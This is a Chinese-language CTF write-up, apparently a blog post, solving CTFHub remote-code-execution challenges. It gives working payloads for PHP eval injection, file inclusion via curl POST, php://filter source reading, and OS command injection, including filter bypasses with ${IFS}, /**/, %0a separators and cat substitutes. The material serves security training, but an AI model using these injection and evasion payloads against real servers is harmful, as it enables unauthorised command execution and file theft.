CTFHub-RCE

RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)是互联网的一种安全漏洞。

它可以让攻击者直接向后台服务器远程注入操作系统命令,相当于直接操控服务器电脑的cmd命令行!从而操控后台系统,高危漏洞!

RCE漏洞产生的根本原因:服务器像php环境版本对可执行变量函数没有做过滤,导致在没有自定义相对路径的情况下就运行命令去执行,从而导致服务器被入侵。

eval执行

我们直接在输入栏上输入类似cmd的命令行,直接操作web服务器执行我们所写的命令内容

源代码:把命令赋值给cmd然后执行
CTFHub-RCE_第1张图片

查看根目录文件

 /?cmd=system("ls");

CTFHub-RCE_第2张图片

查看上层目录文件

/?cmd=system("ls /");

在这里插入图片描述
发现flag文件,打开文件

/?cmd=system("cat /flag_25527");

在这里插入图片描述

文件包含


这次用了第一个的用法,发现不能跳转,查了一下发现要用post请求

注意:指定post的参数是-X

查看根目录下的文件

curl http://challenge-f05c3f8de577c75c.sandbox.ctfhub.com:10800?file=shell.txt -X POST -d "ctfhub=system('ls');"

CTFHub-RCE_第3张图片
查看上层目录

curl http://challenge-f05c3f8de577c75c.sandbox.ctfhub.com:10800?file=shell.txt -X POST -d "ctfhub=system('ls /');"

CTFHub-RCE_第4张图片
将flag中的内容输出

curl http://challenge-f05c3f8de577c75c.sandbox.ctfhub.com:10800?file=shell.txt -X POST -d "ctfhub=system('cat /flag');"

CTFHub-RCE_第5张图片

php://input

php://input 是个可以访问请求的原始数据的只读流。
php:// — 访问各个输入/输出流(I/O streams)
在这里插入图片描述
CTFHub-RCE_第6张图片
CTFHub-RCE_第7张图片

读取源代码

http://challenge-fed4f529e8cc5fff.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag

首先这是一个file关键字的get参数传递,
php://是一种协议名称,php://filter/是一种访问本地文件的协议,
/read=convert.base64-encode/表示读取的方式是base64编码后,
resource=/flag表示目标文件为flag。

CTFHub-RCE_第8张图片
打开base64解密
CTFHub-RCE_第9张图片

远程包含

查看源代码
CTFHub-RCE_第10张图片

CTFHub-RCE_第11张图片
发现和php://input的解法一致
使用burp suit抓包

查看根目录


CTFHub-RCE_第12张图片
查看上级目录


CTFHub-RCE_第13张图片
将flag中的内容输出


CTFHub-RCE_第14张图片

命令注入

1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
使用&连接符,连接别的命令试一下,发现也执行了后面的命令,且文件夹下有个php文件

本关简介:这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

使用&连接符,连接别的命令试一下,发现也执行了后面的命令,且文件夹下有个php文件
CTFHub-RCE_第15张图片
然后输入

ip & cat *.php | base64

base64加密是要有的,不然没有内容,被杀毒工具拦截

我只解密了第一行,flag就出来了
CTFHub-RCE_第16张图片
CTFHub-RCE_第17张图片

过滤cat

本题提示:过滤了cat命令之后,你还有什么方法能读到 Flag?

cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
使用more输出base64密文
12.0.0.1 & more flag_1482210209678.php | base64

ip & tac *.php | base64
CTFHub-RCE_第18张图片
CTFHub-RCE_第19张图片

过滤空格

过滤了空格,使用<代替空格(这一步也可以用/**/代替空格,但是下一步就不管用了,不知道为啥)

12.0.0.1/**/&/**/ls

CTFHub-RCE_第20张图片

127.0.0.1|cat

CTFHub-RCE_第21张图片
CTFHub-RCE_第22张图片

过滤目录分隔符

12.0.0.1 & ls

CTFHub-RCE_第23张图片

12.0.0.1;cd flag_is_here;ls

CTFHub-RCE_第24张图片

12.0.0.1;cd flag_is_here;cat flag_25031515915026.php|base64

CTFHub-RCE_第25张图片

过滤运算符

127.0.0.1 ; ls

CTFHub-RCE_第26张图片

127.0.0.1 ; base64 flag_179401013825017.php

过滤了管道符|,不能再使用了。但是base64 a.php和a.php|base64是等价的。

CTFHub-RCE_第27张图片

综合过滤

过滤了(\||&|;| |\/|cat|flag|ctfhub)

空格可以用${IFS}
cat可以用more
flag可以用正则f***
查了一下,在linux下,命令分隔符除了;还有%0a
有了;就可以不用运算符了
因为这个都是url编码所以都要直接写在网址内部
?ip=127.0.0.1%0als#

CTFHub-RCE_第28张图片

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

CTFHub-RCE_第29张图片

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_14642431519912.php

CTFHub-RCE_第30张图片

你可能感兴趣的:(CTFHub,安全,web安全)